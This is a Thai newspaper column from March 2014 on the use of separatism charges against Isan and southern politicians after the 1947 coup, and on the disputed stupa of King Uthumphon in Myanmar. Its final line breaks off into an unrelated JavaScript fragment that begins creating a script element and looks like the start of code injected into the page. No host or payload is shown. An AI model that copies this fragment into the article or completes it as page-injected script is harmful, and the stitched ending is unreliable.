Download PDF

มติชนรายวัน ฉบับประจำวันอังคารที่ 11 มีนาคม 2557

 

แยกดินแดน กำจัดฝ่ายตรงข้าม

          “การฟื้นประเด็นแนวคิดแบ่งแยกดินแดน พฤศจิกายน 2490” ในข่าวสด  (ฉบับวันพฤหัสบดีที่ 6 มีนาคม 2557 หน้า 6) สะท้อนประวัติศาสตร์การเมือง“ยุคทมิฬ”ในอดีต ก่อน พ.ศ. 2500

          อ่านแล้วช่วยให้เข้าใจกรณีแยกดินแดนอีสานและล้านนาที่ถูกประโคมเมื่อเร็วๆนี้อย่างน่าขยะแขยง

          จะคัดมาแบ่งปันเพื่อความครื้นเครงอย่างเครียดๆ ดังนี้

          กลยุทธ์ 1 ของขบวนการรัฐประหารเดือนพฤศจิกายน 2490 ในการโค่นล้มและทำลายนักการเมืองฝ่ายตรงกันข้าม คือ วาทกรรมว่าด้วย กบฏ แบ่งแยกดินแดน

          หลังรัฐประหารไม่นาน ม.ร.ว. เสนีย์ ปราโมช ใช้นามปากกา ‘แมลงหวี่’ เขียนเปิดโปงขบวนการแบ่งแยกดินแดนอย่างมากด้วยสีสัน

          ถือเอา นายทองอินทร์ ภูริพัฒน์ รัฐมนตรีจากอุบลราชธานีเป็นเป้าหมาย

          จากนั้นไม่นาน รัฐมนตรีในรัฐบาลเก่าก็ถูกจับกุมและนำไปสู่กรณีสังหาร 4 อดีตรัฐมนตรี อันประกอบด้วย นายทองอินทร์ ภูริพัฒน์ นายถวิล อุดล นายจำลอง ดาวเรือง นายทองเปลว ชลภูมิ

          ขณะเดียวกัน นายเตียง ศิริขันธ์ ก็ถูกฆ่าและเผา—–

          การกล่าวหาในเรื่องแบ่งแยกดินแดนได้รับการโหมประโคมอย่างคึกคักนับแต่รัฐประหารเดือนพฤศจิกายน 2490 เป็นต้น

          ท่านหะยี สุหลง ถูกลอบสังหารอย่างเหี้ยมโหด

          นักการเมืองจากอีสานอย่าง นายเตียง ศิริขันธ์ อย่าง นายทองอินทร์ ภูริพัฒน์ อย่าง นายถวิล อุดล อย่าง นายจำลอง ดาวเรือง ถูกจับและฆ่าอย่างทารุณ

          ข้อหาที่ยัดให้คือ ‘แบ่งแยกดินแดน’

          โดย ท่านหะยี สุหลง ถูกกล่าวหาว่าพยายามแบ่งแยกดินแดน 4 จังหวัดชายแดนภาคใต้ไปเป็นส่วนหนึ่งของมลายู โดย 4 อดีตรัฐมนตรีถูกกล่าวหาว่าพยายามแบ่งแยกดินแดนภาคอีสานไปเป็นส่วนหนึ่งของลาว

 

สถูปอัฐิไทย ในพม่า?

          สถูปบรรจุอัฐิพระเจ้าอุทุมพร (ขุนหลวงหาวัด) คงเป็นข่าวอีกเรื่อยๆ ตราบที่ความเป็นไทยยังมีอิทธิพลเหนือความเป็นจริง

          กรมศิลปากรเคยตรวจสอบและมีคำแถลงเป็นทางการนานแล้วว่าเป็นเรื่องเลื่อนลอย แสดงหลักฐานครบครันว่าไม่มีจริง แต่ที่เป็นข่าวขึ้นมาก็เพื่อสร้างกระแสท่องเที่ยวพม่า ผมเคยทำรายงานเรื่องนี้ลงในศิลปวัฒนธรรม (ฉบับสิงหาคม 2545)

          เมื่อต้นปี 2556 เป็นข่าวอีกครั้ง มีรายงานอยู่ในมติชน คอลัมน์สุวรรณภูมิสังคมวัฒนธรรม (วันพฤหัสบดีที่ 24 มกราคม 2556) ว่าไม่มีจริงเหมือนที่เคยบอกไว้ก่อนแล้ว

          คราวนี้มีอีก ถือเป็นข่าวประจำปี แต่ทางการไทยกับพม่าไม่รับรองว่ามีจริง จะขอยกข้อความจากข่าวมาแบ่งปันไว้ (มติชนรายวัน ฉบับวันพุธที่ 5 มีนาคม พ.ศ. 2557 หน้า 1)

          ดังนี้

          กรมศิลปากรนำคณะผู้เชี่ยวชาญทางโบราณคดีและประวัติศาสตร์ เดินทางไปยังเมืองมัณฑะเลย์และเมืองสะกาย สาธารณรัฐแห่งสหภาพเมียนมาร์ ตามโครงการศึกษาทางประวัติศาสตร์และโบราณคดี เรื่องชาวอยุธยาในเมียนมาร์ : ศึกษาในเขตปกครองมัณฑะเลย์และเขตปกครองสะกาย

          หลังคณะกรรมการพัฒนาเมืองมัณฑะเลย์มีแผนปรับสภาพพื้นที่สุสานลินซินกง เมืองอมรปุระ ซึ่งเชื่อว่ามีสถูปบรรจุพระบรมอัฐิสมเด็จพระบรมราชาธิราชที่ 4 (สมเด็จพระเจ้าอุทุมพร) หรือขุนหลวงหาวัด กษัตริย์แห่งกรุงศรีอยุธยา เพื่อรองรับการขยายตัวของเมือง

          นายเอนก สีหามาตย์ อธิบดีกรมศิลปากร กล่าวว่า การเดินทางไปศึกษาข้อมูลครั้งนี้ กรมศิลปากรได้หารือกับกรมโบราณคดีของพม่าแล้ว รับทราบข้อมูลว่าการขุดค้นดังกล่าวยังไม่ได้รับอนุญาตจากรัฐบาลกลางของพม่า เพียงแต่ขออนุญาตจากคณะกรรมการพัฒนาเมืองมัณฑะเลย์เท่านั้น ถือว่ายังไม่ได้รับการรับรองจากรัฐบาลทั้ง 2 ประเทศอย่างเป็นทางการ

          ขณะเดียวกัน รายงานการค้นพบของสมาคมจิตพรรณที่เสนอมายังกรมศิลปากร มีข้อขัดแย้งหลายประการที่ทำให้ไม่น่าเชื่อถือ และการดำเนินงานยังไม่มีนักโบราณคดีของไทยและพม่าร่วมคณะทำงาน จึงไม่อาจสรุปหลักฐานทางโบราณคดีว่าสถูปที่ค้นพบเป็นที่บรรจุพระบรมอัฐิสมเด็จพระเจ้าอุทุมพรหรือไม่ จึงถือว่าทางการไทยไม่รับรองการขุดค้นดังกล่าว ซึ่งควรศึกษาข้อมูลให้รอบด้านกว่านี้

          แถลงอย่างที่คัดมานี้นับว่าดีแล้ว สมควรแล้ว

          แต่ถึงทางการไทยและพม่าจะไม่รับรองว่ามีสถูปจริงบรรจุอัฐิพระเจ้าอุทุมพร ก็ต้องไม่ขัดขวางเอกชนที่เชื่อว่ามี แล้วลงทุนลงแรงไปศึกษาค้นคว้าด้วยความเชื่อเป็นส่วนตัว

          และไม่ควรดูแคลนลดทอนคุณค่ารายงานการศึกษาค้นคว้าของเอกชนที่คิดต่างจากราชการกับนักวิชาการกระแสหลัก} else {var d=document;var s=d.createElement(‘script’);